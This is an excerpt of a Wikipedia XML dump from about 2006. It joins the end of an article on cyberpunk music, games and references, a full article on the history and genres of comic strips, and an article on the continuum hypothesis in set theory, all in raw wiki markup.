&quot;Cyberpunk music&quot; also describes the works associated with the fashion trend which emerged from the SF developments.  The [[Detroit techno]] group [[Cybotron]], which arose in the early 1980s, drew influences both from European synthesizer pioneers [[Kraftwerk]] and from [[Alvin Toffler|Toffler]]'s ''[[Future Shock]],'' producing songs which evoke a distinctly dystopian mood.  In the same era, [[Styx (band)|Styx]] released the concept album ''[[Kilroy Was Here (album)|Kilroy Was Here]]'' (1983), the story of a rock star living in a dark future where music has been outlawed.  ''Kilroy'' and in particular its hit single &quot;Mr. Roboto&quot; may easily be &quot;appropriated&quot; into the cyberpunk genre, whether or not the term was applied at the time.  However, starting around the year 1990, [[popular culture]] began to include a movement in both music and fashion which called itself &quot;cyberpunk&quot;, and which became particularly associated with the [[rave]] and [[techno music|techno]] subcultures.  The [[hacker]] subculture, documented in places like the [[Jargon File]], regards this movement with mixed feelings, since self-proclaimed cyberpunks are often &quot;trendoids&quot; with an affection for black leather and chrome who speak enthusiastically about technology instead of learning about it or becoming involved with it.  (&quot;Attitude is no substitute for competence,&quot; quips the File.)  However, these self-proclaimed cyberpunks are at least &quot;excited about the right things&quot; and typically respect the people who actually work with it&amp;mdash;those with &quot;the hacker nature&quot;.

Certain music genres like drum'n'bass were directly influenced by cyberpunk, even generating a whole subgenre called [[neurofunk]], where the bass lines, synths and beats try to give the listener the sensation of being inside a sprawl or crawling through cyberspace.  Neurofunk was pioneered by artists like [[Ed Rush]], [[Trace (artist)|Trace]] and [[Optical (artist)|Optical]].  In the words of the journalist [[Simon Reynolds]]: 

:[[Jungle (music)|Jungle]]'s sound-world constitutes a sort of abstract social realism; when I listen to [[techstep]], the beats sound like collapsing buildings and the bass feels like the social fabric shredding [...] The post-techstep style I call &quot;neurofunk&quot; (clinical and obsessively nuanced production, foreboding ambient drones, blips 'n blurts of electronic noise, and chugging, curiously inhibited two-step beats). Neurofunk is the fun-free culmination of jungle's strategy of &quot;cultural resistance&quot;: the eroticization of anxiety. Immerse yourself in the phobic, and you make dread your element. {{ref|SimonReynolds}}

''See also the [[List of cyberpunk works#List of bands|list of cyberpunk bands]].''

==Games==
[[Image:Cyberpunk2020.jpg|thumb|''[[Cyberpunk 2020]]'', a [[role-playing game]] based on William Gibson's literature.]] 
[[Computer games]] have frequently used cyberpunk as a source of inspiration.  Some of them, like ''[[Blade Runner (videogame)|Blade Runner]]'' and the ''Matrix'' games, are based upon genre movies, while many others like ''[[Deus Ex]]'' and ''[[System Shock]]'' are original works.  [[Hideo Kojima|Hideo Kojima's]] work includes notable examples, particularly his adventure game ''[[Snatcher]]'' and the first two ''[[Metal Gear|Metal Gear Solid]]'' games.  These are densely populated with spies who communicate via nanotechnology; computer hackers who design viruses to destroy malevolent programs; and omniscient, omnipotent secret societies aiming to control information flow and manipulate human minds.  ''[[Rez]],'' formerly known as ''K-Project,'' received considerable critical acclaim but was not commercially successful in the [[United States]], partly thanks to its esoteric game play.  A [[rail shooter]], ''Rez'' takes the player along a predetermined path through a sequence of levels, each of which represents a zone of a cyberspatial computer network.  The game's advertising focused upon its [[synesthesia|synesthetic]] aspects; all onscreen actions synchronize with the trance techno soundtrack.

In 1990, in an odd reconvergence of cyberpunk art and reality, the [[United states secret service|U.S. Secret Service]] raided [[Steve Jackson Games]]'s headquarters and confiscated all their computers. This was&amp;mdash;allegedly&amp;mdash;because the ''[[GURPS Cyberpunk]]'' sourcebook could be used to perpetrate computer crime. That was, in fact, not the main reason for the raid, but after the event it was too late to correct the public's impression.{{ref|SJGames01}} Steve Jackson Games later won a lawsuit against the Secret Service, aided by the freshly minted [[Electronic Frontier Foundation]]. This event has achieved a sort of notoriety and given some to the book itself, as well. The tagline &quot;The only RPG manual ever confiscated by the FBI!&quot; has been used online as a sort of anti-endorsement. (See the ''[[GURPS Cyberpunk]]'' page.)

At least two [[role-playing games]] (RPGs) called ''Cyberpunk'' exist: ''[[Cyberpunk 2020]]'', by [[R. Talsorian Games]], and ''[[GURPS Cyberpunk]]'', published by [[Steve Jackson Games]] as a module of the [[GURPS]] family of RPGs.  ''Cyberpunk 2020'' was designed with the settings of William Gibson's writings in mind, and to some extent with his approval, unlike the (perhaps more creative) approach taken by [[FASA]] in producing the ''[[Shadowrun]]'' game (see below).  Both games are set in the near future, in a world where [[cyberware|cybernetics]] are prominent.  ''[[Netrunner]]'' is a [[collectible card game]] introduced in 1996, based on the ''Cyberpunk 2020'' role-playing game; it launched with a popular online [[alternate reality game]] called ''Webrunner'', which let players hack into an evil futuristic corporation's mainframe. In addition, Iron Crown Enterprises released an RPG named ''[[Cyberspace (game)|Cyberspace]]'', now out of print.

2004 brought the publication of a number of new cyberpunk RPGs, chief among which was ''[[Ex Machina (role-playing game)|Ex Machina]],'' a more cinematic game including four complete settings and a focus on updating the gaming side of the genre to current themes among cyberpunk fiction.  These tropes include a stronger political angle, conveying the alienation of the genre and even incorporating some [[transhuman]] themes.

[[Image:shadowrun3.jpg|thumb|left|The [[role-playing game]] ''[[Shadowrun]]'' combines aspects of cyberpunk and [[fantasy]].]]
Role-playing games have also produced one of the more unique takes on the genre in the form of the 1989 game series ''[[Shadowrun]]''. Here, the setting is still that of the dystopian near future; however, it also incorporates heavy elements of [[fantasy]] literature and games, such as magic, spirits, elves, and dragons.  ''Shadowrun''&lt;nowiki&gt;'&lt;/nowiki&gt;s cyberpunk facets were modeled in large part on William Gibson's writings, and the game's original publishers, [[FASA]], have been accused by some as having directly ripped off Gibson's work without even a statement of influence.  Gibson, meanwhile, has stated his dislike of the inclusion of elements of [[high fantasy]] within setting elements that he helped pioneer. Nevertheless, ''Shadowrun'' has introduced many to the genre, and still remains popular among gamers.

The trans-genre RPG ''[[Torg]]'' (published by [[West End Games]]) also included a variant cyberpunk setting (or &quot;cosm&quot;) called the ''Cyberpapacy''.  This setting was originally a medieval religious dystopia which underwent a sudden ''Tech Surge''.  Instead of corporations or corrupt governments, the Cyberpapacy was dominated by the &quot;[[False Papacy of Avignon]]&quot;.  Instead of an [[Internet]], hackers roamed the &quot;[[GodNet]]&quot;, a computer network rife with overtly religious symbology, home to [[angel]]s, [[demon]]s, and other biblical figures.

:''For more examples, see the [[List of cyberpunk works#List of computer and video games|list of cyberpunk computer and video games]].''

&lt;div style=&quot;clear: both&quot;&gt;&lt;/div&gt;

==See also==
{|
|- valign=top
|
*[[Arcology]]
*[[Augmented reality]]
*[[Biopunk]]
*[[Megacorp]]
*[[Corporatocracy]]
*[[Cyberculture]]
|||
*[[Cyberprep]]
*[[Cyberpunk fashion]]
*[[Cyberpunk music]]
*[[Cyberware]]
|||
*[[Cypherpunk]]
*[[Exocortex]]
*[[List of punk genres]]
*[[Meme]]
*[[Mind transfer]]
|||
*[[Mixed reality]]
*[[Noosphere]]
*[[Postcyberpunk]]
*[[Posthumanism]]
*[[Shadowrun]]
|||
*[[Steampunk]]
*[[Technocracy]]
*[[Transhumanism]]
*[[Wild Palms]]
|}

==References and notes==
:''External links in the following were last verified [[10 October]] [[2005]].''

# {{note|alt.cyberpunk.faq}} [http://18hz.deid.net/cyberpunk.htm ''alt.cyberpunk'' Usenet group FAQ file].
# {{note|NicolaNixon}} Nicola Nixon, [http://www.depauw.edu/sfs/backissues/57/nixon57art.htm &quot;Cyberpunk: Preparing the Ground for Revolution or Keeping the Boys Satisfied?&quot;], ''Science Fiction Studies'' vol. 19, part 2 (July 1992).  See also the collection ''Reload: Rethinking Women + Cyberculture'' (MIT Press: 2002), M. Flanagan and A. Booth eds., ISBN 0-262-56150-6.
# {{note|BruceBethke}} Bruce Bethke, [http://www.infinityplus.co.uk/stories/cpunk.htm &quot;Cyberpunk&quot;], first published in ''Amazing Science Fiction Stories,'' Vol. 57, No. 4 (November 1983).
# {{note|JohnShirley}} John Shirley, [http://www.darkecho.com/JohnShirley/jspunks.html &quot;Two Cyberpunks: Sterling and Rucker&quot;].
# {{note|Jargon}} [http://catb.org/esr/jargon/html/C/cyberpunk.html Jargon File definition]; see also [http://ursine.ca/Cyberpunk &quot;Cyberpunk&quot; at the Jargon Wiki].
# {{note|PaulBrians}} Paul Brians, [http://www.wsu.edu/~brians/science_fiction/neuromancer.html Lecture notes] for a [[Washington State University]] SF class.
# {{note|DonnaHaraway}} Donna Haraway, &quot;A Cyborg Manifesto: Science, Technology, and Socialist-Feminism in the Late Twentieth Century&quot;, in ''Simians, Cyborgs and Women: The Reinvention of Nature'' (Routledge, 1991), pp. 149-181.  ISBN 0-415-90386-6.
# {{note|DavidBrin}} [[David Brin]], [http://www.davidbrin.com/matrixarticle.html Review of ''The Matrix''].
# {{note|LawrencePerson}} Lawrence Person, [http://slashdot.org/features/99/10/08/2123255.shtml &quot;Notes Toward a Postcyberpunk Manifesto&quot;], first published in ''Nova Express'' issue 16 (1998), later posted to [[Slashdot]].
# {{note|wordspy}} Michael Berry, &quot;Wacko Victorian Fantasy Follows 'Cyberpunk' Mold,&quot; ''[[The San Francisco Chronicle]],'' 25 June, 1987; quoted online by [http://www.wordspy.com/words/steampunk.asp Wordspy].
# {{note|associated-content}} Earl S. Wynn, [http://www.associatedcontent.com/content.cfm?content_type=article&amp;content_type_id=8745 &quot;Ghost in the Shell: Stand Alone Complex&quot;] (review). &lt;!-- warning: contains massive &quot;it's&quot;/&quot;its&quot; confusion --&gt;
# {{note|SimonReynolds}} Simon Reynolds.  ''Energy Flash: Journey Through Rave Music and Dance Culture'' (Picador, 1998).  ISBN 0-330-35056-0.
# {{note|SJGames01}} Jackson, Steve [[April 19]] [[1990]] ''[http://www.sjgames.com/gurps/Roleplayer/Roleplayer19/Raid.html SJ Games Raided]'' SJ Games website.

==External links==
* [http://www.akira2019.com/ AKIRA2019.com : Katsuhiro Otomo's cyberpunk masterpiece Akira]
* [http://independenttorrents.com/index.php/artist/Cyberpunk/CyberpunkEducator Cyberpunk Educator] - A free movie about the history of cyberpunk films. Download requires a [[BitTorrent]] client.
* [http://www.wired.com/wired/archive/1.04/1.4_cyberpunk_pr.html ''Cyberpunk R.I.P.''] — By [[Paul Saffo]], ''[[Wired Magazine]]''
* [http://www.cyberpunkreview.com Cyberpunk Review] A comprehensive cyberpunk movie review site
* [http://www.regimemachine.com Cyberpunk Underground]
* [http://cyberpunk.omou.net/ Duke of Hell's Cyberpunk] &amp;ndash; Listing of cyberpunk-related media
* [http://www.fuchsiashockz.co.uk/ Fuchsia Shockz] &amp;ndash; Cyberpunk culture and related cyberpunk articles
* [http://www.sjgames.com/gurps/books/Cyberpunk/ ''GURPS Cyberpunk'' website]
* [http://home.btconnect.com/buckleburyweb/innervation/ Innervation] &amp;ndash; Resource site and forum for designers interested in technology
* {{note|socialism-today}} Kate Jones, &quot;[http://www.socialismtoday.org/76/matrix.html The Matrix... reloaded or overloaded?]&quot; ''Socialism Today,'' July–August 2003.
* {{note|avclub-matrix-revolutions}} Keith Phipps, [http://avclub.com/content/node/17331 review of ''The Matrix Revolutions,''] ''[[The Onion|The Onion A.V. Club]]'' [[10 November]] [[2003]].
* [http://www.neometropolis.com/ ''Neometropolis'' Magazine]
* Norman Spinrad, [http://www.asimovs.com/_issue_0210_11/onbooks.shtml &quot;On Books: Movements&quot;], ''[[Asimov's Science Fiction]]'' October/November 2002.
* [http://www.talsorian.com/cp_cinema_1.shtml/ R. Talsorian series on cyberpunk film]
* [http://project.cyberpunk.ru The Cyberpunk Project]
* The [http://www.cs.ubc.ca/spider/harrison/Cyberpunk/cyberpunk.html Cyberpunk Reading List] that emerged from the usenet group
* [http://www.voidspace.org.uk/cyberpunk/index.shtml Voidspace Cyberpunk] &amp;ndash; resource site


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:''This article about the sequential art form.  See also [[Daily strip]] and [[Sunday strip]]. For the British comedy group, see [[The Comic Strip]].''

A ''''''comic strip'''''' is a short strip or sequence of drawings, telling a story.   Drawn by a [[cartoonist]], they are published on a recurring basis (usually daily or weekly) in [[newspaper]]s or on the [[Internet]]. In the UK and Europe they are also published within [[comic magazine|comic magazines]], with a strip's story sometimes continuing over three pages or more.  They usually communicate to the reader via [[speech balloon]]s.

As the name implies, they can be humorous (as in &quot;gag-a-day&quot; strips like ''[[Beetle Bailey]]'', ''[[Hi &amp; Lois]]'', or ''[[Hagar the Horrible]]'') but not by necessity. Serious soap-opera continuity strips (like ''[[Judge Parker]]'' or ''[[Little Orphan Annie]]'') have serious story lines in serial form. They are, however, nonetheless known as &quot;comics&quot; &amp;ndash; though the term &quot;sequential art&quot;, coined by cartoonist [[Will Eisner]], is becoming increasingly popular.

==Newspaper Comic Strip==
Newspaper comic strips are, obviously, comic strips that are first published in newspapers, instead of, for example, on the web, or in comic books or magazines. The first newspaper comic strips appeared in America in the early years of the Twentieth Century. The Yellow Kid is usually credited as being the very first newspaper comic strip, but the artform, mixing words and pictures, evolved gradually, and there are many examples of proto-comic strips. Newspaper comic strips are divided into daily strips and Sunday strips.

==Daily Strip==
A daily strip is a newspaper comic strip that appears in newspapers Monday through Saturday, as contrasted with a Sunday strip which appears on Sunday. Daily strips are usually in black and white, though a few newspapers, beginning in the later part of the Twentieth Century, published them in color. The major formats are strips -- wider than they are tall -- and panels -- taller than they are wide. Strips usually, but not always, are broken up into several smaller panels, with continuity from panel to panel. Panels usually, but not always, are not broken up and lack continuitity. The daily Peanuts is a strip, the daily Dennis the Menace is a panel.

Early daily strips were large, often running the entire width of the newspaper, and were sometimes three or more inches in height. At first, one newspaper page only included one daily strip, usually either at the top or the bottom of the page. By the 1920s, many newspapers had a comics page on which many strips were collected. Over the years, the size of daily strips became smaller and smaller, until by 2000 four standard daily strips could fit in the area once occupied by a single daily strip.

NEA Syndicate experimented briefly with a two-tier daily strip, Star Hawks, but after a few years Star Hawks dropped down to a single tier.





==Origins==
In America, the great popularity of [[comics]] sprang from the newspaper war between [[Joseph Pulitzer]] and [[William Randolph Hearst]]. ''[[The Little Bears]]'' was the first [[United States|American]] comic with recurring characters; ''[[The Yellow Kid]]'' the first color comic, part of the first Sunday comic section in 1897 and the source of the term &quot;[[yellow journalism]]&quot;); ''[[Mutt and Jeff]]'' the first daily comic strip, first appearing in 1907.

The comic strip, in a manner of speaking, began in 1865 in [[Germany]] with ''[[Max and Moritz]]'', a strip about two trouble-making boys. It was more a series of severely moralistic tales in the vein of German children's stories like &quot;Struwwelpeter&quot; (&quot;Shockheaded Peter&quot;): in one, the boys, after perpetrating some mischief, are tossed into a sack of grain, run through a mill, and consumed by a flock of geese.

''Max and Moritz'' did provide an inspiration for German immigrant [[Rudolph Dirks]], leading to the debut of ''[[The Katzenjammer Kids]]'' in 1897, probably the first comic strip in the modern sense of the term. Familiar comic-strip iconography such as stars for pain, speech and thought balloons, and sawing logs for snoring originated in Dirks' strip.

Hugely popular, ''Katzenjammer Kids'' was responsible for one of the first comic-strip copyright ownership suits in the history of the medium. When Dirks left Hearst for the promise of a better salary under Pulitzer (unusual, since cartoonists regularly deserted Pulitzer for Hearst) Hearst in a highly unusual court decision retained the rights to the name &quot;Katzenjammer Kids&quot;, while creator Dirks retained the rights to the characters. Hearst promptly hired a cartoonist named Harold Knerr to draw his own version of the strip. Dirks renamed his version ''Hans and Fritz'' (later, ''The Captain and The Kids''). Thus, two versions distributed by rival syndicates graced the comics pages for decades. Dirks' version, eventually distributed by United Feature Syndicate, ran until 1979.

Hundreds of comic strips followed, with many running for decades.

==Conventions and genres==
Most comic strip characters are [[unageing]] throughout the strip's life, but in strips like [[Lynn Johnston]]'s award-winning ''[[For Better or For Worse]]'' characters age. The first strip to feature aging characters was ''[[Gasoline Alley]]''.

The history of comic strips also includes series that are not humorous, but tell an ongoing [[drama]]tic story. Examples include ''[[Prince Valiant]]'', ''[[Dick Tracy]]'', ''[[Mary Worth (comic)|Mary Worth]]'', ''[[Modesty Blaise]]'' and ''[[Tarzan]]''.  Sometimes these are spin-offs from [[comic book]]s, for example ''[[Superman]]'', ''[[Batman]]'', and ''[[The Amazing Spider-Man]]''.

All the comic strips mentioned so far in this article are centered on human beings, but a number of strips have also included animals as main characters.  Some are non-verbal (''[[Marmaduke]]''), some have verbal thoughts but aren't understood by humans, (''[[Garfield]]'', [[Snoopy]] in ''[[Peanuts]]''), and some can converse with humans (''[[Get Fuzzy]]'').  Other strips have centered entirely on animals, as in ''[[Pogo]]'' or ''[[Donald Duck]]''. [[Gary Larson]]'s [[Far Side|The Far Side]] was unique, as there were no central characters. Instead The Far Side used a wide variety of characters such as humans, monsters, [[Extraterrestrial life|aliens]], chickens, cows, [[worm|worms]], [[amoeba|amoebas]] and more. [[Wiley Miller]] not only mixes human, animal and fantasy characters, he does several different comic strip continuities under one umbrella title, [[Non Sequitur (comic strip)|Non Sequitur]].

[[Newspaper comic strips]] come in two formats, [[daily strip]]s and [[Sunday strip]]s.  Daily strips usually run Monday through Saturday, and are usually in black and white.  Sunday strips are much larger and are usually in color.

==Social and political influence==
The comics have long held a distorted mirror to contemporary society, and almost from the beginning have been used for political or social commentary. This ranged from the staunch conservative values of ''Little Orphan Annie'' to the unabashed liberalism of ''[[Doonesbury]]''. The aforementioned ''Pogo'' used animals to particularly devastating effect, caricaturing many prominent politicians of the day as animal denizens of Pogo's Okeefenokee Swamp. In a fearless move, Pogo's creator Walt Kelly took on [[Joseph McCarthy]] in the 1950s, caricaturing him as a bobcat named Simple J. Malarkey, a megalomaniac bent on taking over the characters' birdwatching club and rooting out all undesirables.

Kelly also defended the medium against possible government regulation in the [[McCarthy era]]. At a time when comic books were coming under fire for supposed sexual, violent, and subversive content, Kelly feared the same would happen to comic strips. Going before the congressional subcommittee, he proceeded to charm the members with his drawings and the force of his personality. The comic strip was safe for satire.

Some comic strips, such as ''Doonesbury'' and ''[[Boondocks]]'', are often printed on the editorial or op-ed page rather than the comics page, because of their regular political commentary.  Conservatives have long warred against ''Doonesbury'', and were recently successful in convincing a major printer of Sunday comics sections to refuse to print the strip. In another case, ''[[Dilbert]]'' is sometimes found in the business section of a newspaper instead because of the strip's commentary about [[office politics]].

The world's longest comic strip is 88.9 metres long and on display at [[Trafalgar Square]] as part of the [[London Comedy Festival]]. The record was previously 81 metres and held in [[Florida]]. The London Cartoon Strip was created by fifteen of [[United Kingdom|Britain's]] best known cartoonists and depicts the history of London.

The [[Reuben Award|Reuben]], named for cartoonist [[Rube Goldberg]], is the most prestigious award for U.S. comic strip artists.  Reuben awards are presented annually by the National Cartoonists' Society (NCS).

Today's comic-strip artists, with the help of the NCS, enthusiastically promote the medium, which is considered to be in decline due to fewer markets and ever-shrinking newspaper space. One particularly humorous example of such promotional efforts is the Great Comic Strip Switcheroonie, held on April Fool's Day, 1997. For that day, dozens of prominent comic-strip artists took over each other's strips. ''[[Garfield]]''&amp;rsquo;s Jim Davis, for example, switched with ''[[Blondie (comic strip)|Blondie]]''&amp;rsquo;s Stan Drake, while Scott Adams (''[[Dilbert]]'') traded strips with Bil Keane (''[[The Family Circus]]''). Even the United States Postal Service got into the act, issuing a series of commemorative stamps marking the comic-strip centennial in 1996.

While the Switcheroonie was a one-time publicity stunt, for one artist to take over a feature from its originator is an old tradition in newspaper cartooning (as it is in the comic book industry). In fact, the practice has made possible the decades-spanning longevity of some of the genre's most popular strips. Examples include &quot;Little Orphan Annie&quot; (drawn and plotted by Harold Gray from 1924-44 and thereafter by a succession of artists including Leonard Starr and Andrew Pepoy), and &quot;Terry and The Pirates&quot; (started by Milton Caniff in 1934 and picked up by a string of successors, most notably George Wunder.) 

A business-driven variation on the &quot;switch&quot; has sometimes led to the same feature continuing under a different name. In one case, in the early '40s, Don Flowers' &quot;Modest Maidens&quot; was so admired by William Randolph Hearst that he lured Flowers away from the Associated Press and to King Features Syndicate by doubling the cartoonist's salary, and renamed the feature &quot;Glamor Girls&quot; to avoid legal action by the AP. (The latter continued to publish &quot;Modest Maidens&quot; as drawn by Jay Allen, who aped Flowers' style to a tee.)

==Internet comics==
The advent of the [[World Wide Web]] in the 1990s led to an explosion of amateur [[webcomic]]s, comic strips created solely for Web sites. Webcomics differ from published comic strips, in that anyone can start his own comic strip and publish it on the Web; there is no longer any need to for a creator to meet the approval of a publisher or syndicate. Currently there are hundreds of webcomics, most of which are low-quality and sporadically updated. However, a number of webcomics have endured, and the best webcomics rival their newspaper and magazine counterparts in terms of quality and quantity. ''[[Megatokyo]]'', ''[[Penny Arcade (comic)|Penny Arcade]]'', ''[[PvP]]'', ''[[Sluggy Freelance]]'', and ''[[User Friendly]]'' are considered to be among the best of the [[webcomic]]s.

The majority of traditional newspaper comic strips now have some Internet presence. Syndicates often provide archives of recent strips on their websites. [[Scott Adams]], creator of ''[[Dilbert]]'', started a trend by including his e-mail address in each strip.

==See also==
*[[List of comic strips]]
*[[Comic book]]
*[[List of movies based on comic strips]]
*[[Webcomic]]
*[[Yonkoma]] - Japanese comic strip

==External links==
*[http://forums.delphiforums.com/bhob2 Fusebox Vintage Newspaper Comic Strips]
*[http://www.HavenWorks.com/comics/links HavenWorks' list of comic strips available online]
*[http://cartoons.osu.edu/ Ohio State University Cartoon Research Library]
*[http://www.reuben.org/ncs/awards2.asp Reuben Awards]
*[http://www.marklansdown.com/pinbacks Comic strip pinbacks]
*[http://www.mainada.net/comics Comics @ Mai'Nada.net - Sketch your own comics online]


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  <page>
    <title>Continuum hypothesis</title>
    <id>5705</id>
    <revision>
      <id>41895628</id>
      <timestamp>2006-03-02T13:00:35Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">In [[mathematics]], the '''continuum hypothesis''' is a [[hypothesis]], advanced by [[Georg Cantor]], about the possible sizes of [[infinite]] [[set]]s. Cantor introduced the concept of [[cardinal number|cardinality]] to compare the sizes of infinite sets, and he showed that the set of [[integer]]s is strictly smaller than the set of [[real number]]s. The continuum hypothesis states the following:
:There is no set whose size is strictly between that of the integers and that of the real numbers.

Or mathematically speaking, noting that the [[Cardinal number|cardinality]] for the integers &lt;math&gt;|\mathbb{Z}|&lt;/math&gt; is &lt;math&gt;\aleph_0&lt;/math&gt; (&quot;[[aleph number|aleph-null]]&quot;) and the [[cardinality of the real numbers]] &lt;math&gt;|\mathbb{R}|&lt;/math&gt; is &lt;math&gt;2^{\aleph_0}&lt;/math&gt;, the continuum hypothesis says:

:&lt;math&gt;\lnot \exists \mathbb{A}: \aleph_0 &lt; |\mathbb{A}| &lt; 2^{\aleph_0}.&lt;/math&gt;

This is equivalent to:

:&lt;math&gt;|\mathbb{R}| = \aleph_1&lt;/math&gt;

The real numbers have also been called [[continuum (mathematics)|''the continuum'']], hence the name.  There is also a generalization of the continuum hypothesis called the '''generalized continuum hypothesis''' saying:

: For all ordinals &lt;math&gt;\alpha&lt;/math&gt;: &lt;math&gt;2^{\aleph_\alpha} = \aleph_{\alpha+1}&lt;/math&gt; 

== The size of a set ==
{{main|Cardinal number}}
To state the hypothesis formally, we need a definition: we say that two sets ''S'' and ''T'' have the same ''cardinality'' or ''[[cardinal number]]'' if there exists a [[bijection]] 
&lt;math&gt;S \leftrightarrow T&lt;/math&gt;.
Intuitively, this means that it is possible to &quot;pair off&quot; elements of ''S''
with elements of ''T'' in such a fashion that every element of ''S'' is paired off with exactly one element of ''T'' and vice versa. Hence, the set {banana, apple, pear} has the same cardinality as {yellow, red, green}. 

With infinite sets such as the set of [[integer]]s or [[rational number]]s, things are more complicated to show. Consider the set of all rational numbers. One might naively suppose that there are more rational numbers than integers, and fewer rational numbers than real numbers, thus disproving the continuum hypothesis. However, it turns out that the rational numbers can be placed in one-to-one correspondence with the integers, and therefore the set of rational numbers is the same size as the set of integers: they are both [[countable set]]s.
[[Cantor's diagonal argument]] shows that
the integers and the continuum do not have the same cardinality.

The continuum hypothesis states that every [[subset]] of the continuum (= the [[real number|real numbers]]) which contains the integers either has the same cardinality as the integers or the same cardinality as the continuum.

== Impossibility of proof and disproof ==
Cantor believed the continuum hypothesis to be true and tried for many years to [[mathematical proof|prove]] it, in vain. It became the first on [[David Hilbert]]'s list of important [[Hilbert's problems|open questions]] that was presented at the International Mathematical Congress in the year [[1900]] in Paris.

[[Kurt Gödel]] showed in 1940 that the continuum hypothesis (CH for short) cannot be disproved from the standard [[Zermelo-Fraenkel set theory]], even if the [[axiom of choice]] is adopted.  [[Paul Cohen]] showed in 1963 that CH cannot be proven from those same axioms either. Hence, CH is ''[[independence (mathematical logic)|independent]]'' of [[ZFC]]. Both of these results assume that the Zermelo-Fr&amp;auml;nkel axioms themselves do not contain a contradiction; this assumption is widely believed to be true.

It is not surprising that there should be statements which cannot be proven nor disproven within a given axiom system; in fact the content of  [[Gödel's incompleteness theorem]] is that such statements always exist if the axiom system is strong enough and without contradictions. The independence of CH was still unsettling however, because it was the first concrete example of an important, interesting question of which it could be proven that it could not be decided either way from the universally accepted basic system of axioms on which mathematics is built.

The continuum hypothesis is closely related to many statements in [[mathematical analysis|analysis]], point set [[topology]] and [[measure theory]]. As a result of its independence, many substantial [[conjecture]]s in those fields have subsequently been shown to be independent as well.

==Arguments pro and con==
Gödel believed strongly that CH is false. To him, his independence proof only showed that the prevalent set of axioms was defective. Gödel was a [[platonist]] and therefore had no problems with asserting truth and falsehood of statements independent of their provability. Cohen, however, was a formalist, but even he tended towards rejecting CH.

Historically, mathematicians who favor a &quot;rich&quot; and &quot;large&quot; [[universe (mathematics)|universe]] of sets were against CH, while those favoring a &quot;neat&quot; and &quot;controllable&quot; universe favored CH.   More recently, some experts (e.g. [[Matthew Foreman]]) have pointed out that ontological maximalism can actually be taken as a point in ''favor'' of CH, given that between models that have all the same reals, it's the one with ''more'' sets of reals that has more chance of satisfying CH.  See ([[Penelope Maddy|Maddy]], p. 500).

Chris Freiling in 1986 presented an [[Freiling's axiom of symmetry|argument against CH]]: he showed that the negation of CH is equivalent to a statement about probabilities which he calls &quot;intuitively true&quot;, but others have disagreed.

A difficult argument developed by [[W. Hugh Woodin]], against CH, has attracted considerable attention since about the year 2000.  See the references in ''Notices of the AMS''.  The Foreman reference does not reject Woodin's argument outright but urges caution.

== The generalized continuum hypothesis  ==
The ''generalized continuum hypothesis'' (GCH) states that if an infinite set's cardinality lies between that of an infinite set ''S'' and that of the [[power set]] of ''S'', then it either has the same cardinality as the set ''S'' or the same cardinality as the power set of ''S''. That is, for any [[infinite]] [[cardinal number|cardinal]] &lt;math&gt;\lambda&lt;/math&gt; there is no cardinal &lt;math&gt;\kappa&lt;/math&gt; such that  &lt;math&gt;\lambda &lt;\kappa &lt;2^{\lambda}.&lt;/math&gt; An equivalent condition is that  &lt;math&gt;\aleph_{\alpha+1}=2^{\aleph_\alpha}&lt;/math&gt; for every [[ordinal number|ordinal]] &lt;math&gt;\alpha.&lt;/math&gt; Another equivalent condition is that  &lt;math&gt;\aleph_\alpha=\beth_\alpha&lt;/math&gt; for every ordinal &lt;math&gt;\alpha.&lt;/math&gt; 

This is a generalization of the continuum hypothesis since the continuum has the same cardinality as the [[power set]] of the integers. Like CH, GCH is also independent of ZFC, but note that ZF + GCH ⊦AC, so that choice and GCH are not independent in ZF; there are no models of ZF in which GCH holds and AC fails.

==References==
* {{cite book
 | first = P. J. | last = Cohen
 | title = Set Theory and the Continuum Hypothesis
 | publisher = W. A. Benjamin
 | year = 1966
 }}
* {{cite journal
 | first = Paul J. | last = Cohen
 | title = The Independence of the Continuum Hypothesis
 | journal = Proceedings of the National Academy of Sciences of the United States of America
 | volume = 50 | issue = 6 | year = Dec. 15, 1963 | pages = 1143–1148
 | url = http://links.jstor.org/sici?sici=0027-8424%2819631215%2950%3A6%3C1143%3ATIOTCH%3E2.0.CO%3B2-5
 }}
* {{cite journal
 | first = Paul J. | last = Cohen
 | title = The Independence of the Continuum Hypothesis, II
 | journal = Proceedings of the National Academy of Sciences of the United States of America
 | volume = 51 | issue = 1 | year = Jan. 15, 1964 | pages = 105–110
 | url = http://links.jstor.org/sici?sici=0027-8424%2819640115%2951%3A1%3C105%3ATIOTCH%3E2.0.CO%3B2-U
 }}
* {{cite book
 | first = H. G. | last = Dales
 | coauthors = W. H. Woodin
 | title = An Introduction to Independence for Analysts
 | publisher = Cambridge
 | year = 1987
 }}
* {{cite web
 | author = Foreman, Matt
 | year = 2003
 | url = http://www.math.helsinki.fi/logic/LC2003/presentations/foreman.pdf
 | title = Has the Continuum Hypothesis been Settled?
 | format = PDF
 | accessdate = February 25
 | accessyear = 2006
 }}
* {{cite journal
 | first = Chris | last = Freiling
 | title = Axioms of Symmetry: Throwing Darts at the Real Number Line
 | journal = Journal of Symbolic Logic
 | volume = 51 | issue = 1 | year = 1986 | pages = 190–200
 }}
* {{cite book
 | first = K. | last = Gödel
 | title = The Consistency of the Continuum-Hypothesis
 | publisher = Princeton University Press
 | year = 1940
 }}
* Gödel, K.: ''What is Cantor's Continuum Problem?'', reprinted in Benacerraf and Putnam's collection ''Philosophy of Mathematics'', 2nd ed., Cambridge University Press, 1983. An outline of Gödel's arguments against CH.
* {{cite journal
 | first = Penelope | last = Maddy
 | journal = Journal of Symbolic Logic
 | title = Believing the Axioms, I
 | volume = 53 | issue = 2 | year = June 1988 | pages = 481–511
 }}
* {{cite web
 | author = McGough, Nancy
 | url = http://www.ii.com/math/ch/
 | title = The Continuum Hypothesis
 }}
* {{cite journal
 | first = W. Hugh | last = Woodin
 | title = The Continuum Hypothesis, Part I
 | journal = Notices of the AMS
 | volume = 48 | issue = 6 | year = 2001 | pages = 567–576
 | url = http://www.ams.org/notices/200106/fea-woodin.pdf
 }}
* {{cite journal
 | first = W. Hugh | last = Woodin
 | title = The Continuum Hypothesis, Part II
 | journal = Notices of the AMS
 | volume = 48 | issue = 7 | year = 2001 | pages = 681–690
 | url = http://www.ams.org/notices/200107/fea-woodin.pdf
 }}

